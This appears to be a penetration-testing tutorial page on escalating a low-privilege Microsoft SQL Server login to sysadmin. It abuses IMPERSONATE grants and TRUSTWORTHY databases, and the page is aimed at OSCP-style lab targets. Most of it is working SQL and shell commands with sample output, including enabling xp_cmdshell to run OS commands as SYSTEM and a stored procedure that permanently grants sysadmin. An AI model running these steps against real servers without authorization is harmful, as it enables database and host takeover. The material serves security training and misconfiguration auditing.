# MSSQL Privilege Escalation via Impersonation

> Exploit MSSQL IMPERSONATE privileges to escalate from low-privileged login to sysadmin by chaining user impersonation within database execution contexts.

- **URL:** https://hackindex.io/services/mssql/exploitation/mssql-privilege-escalation-via-impersonation
- **Path:** MSSQL > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mssql/exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-07-14

SQL Server's EXECUTE AS LOGIN statement allows one login to assume the identity of another within the current session. When a low-privilege login has been explicitly granted IMPERSONATE permission on a sysadmin account (intentionally or by misconfiguration), it can escalate to sysadmin rights without any credential for the target account. This is a common privilege escalation path on OSCP-style targets where a low-privilege SQL login is the starting point.

Impersonation escalation paths in MSSQL:

- Server-level: EXECUTE AS LOGIN to assume sa or another sysadmin
- Database-level: EXECUTE AS USER to become dbo or db_owner
- TRUSTWORTHY escalation: db_owner on a TRUSTWORTHY database to sysadmin

## MSSQL impersonation privilege escalation: identify targets

Connect with the low-privilege login and check which logins the current user has IMPERSONATE permission on:

```bash
impacket-mssqlclient $USER:$PASSWORD@$TARGET_IP
```

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
# name
# ----
# sa
# Admin
```

Any name returned here is a login you can impersonate. sa is the highest value target. Confirm your current privilege level before and after impersonation to measure the escalation:

```sql
SELECT SYSTEM_USER AS current_login, IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
# current_login   is_sysadmin
# appuser         0
```

## Impersonate sa and Confirm Escalation

Execute EXECUTE AS LOGIN to assume the sa identity for the current session:

```sql
EXECUTE AS LOGIN = 'sa';
```

```sql
SELECT SYSTEM_USER AS current_login, IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
# current_login   is_sysadmin
# sa              1
```

is_sysadmin returning 1 after EXECUTE AS LOGIN confirms the impersonation succeeded and you now have sysadmin rights in this session. Enable xp_cmdshell and proceed to OS command execution:

```sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
# output
# --------------------
# nt authority\system
```

## Database-Level Impersonation

Impersonation also works at the database level using EXECUTE AS USER. This is useful when a database user has elevated permissions within a specific database even if the mapped login does not have server-level rights. Check which users can be impersonated in the current database:

```sql
SELECT distinct b.name FROM sys.database_permissions a INNER JOIN sys.database_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
```

```sql
EXECUTE AS USER = 'dbo'; SELECT USER_NAME(), IS_MEMBER('db_owner') AS is_db_owner;
# dbo   1
```

Landing as dbo with db_owner membership in a database that has TRUSTWORTHY set allows escalating to sysadmin through a stored procedure. Check TRUSTWORTHY status on databases where you have db_owner:

```sql
SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1;
# name    is_trustworthy_on
# msdb    1
# appdb   1
```

## TRUSTWORTHY Database Escalation to Sysadmin

A TRUSTWORTHY database where you have db_owner allows creating a stored procedure that runs with sysadmin context. This escalates from database owner to server sysadmin:

```sql
USE appdb; CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'appuser', 'sysadmin'; EXEC sp_escalate; SELECT IS_SRVROLEMEMBER('sysadmin');
# 1
```

A return value of 1 confirms the appuser login is now sysadmin at the server level. The session retains this privilege permanently rather than just for the current EXECUTE AS scope.

## References

- [Microsoft: EXECUTE AS](https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql) - EXECUTE AS LOGIN and EXECUTE AS USER syntax and scope behavior
- [Microsoft: TRUSTWORTHY Database Property](https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property) - TRUSTWORTHY flag behavior and sysadmin escalation risk
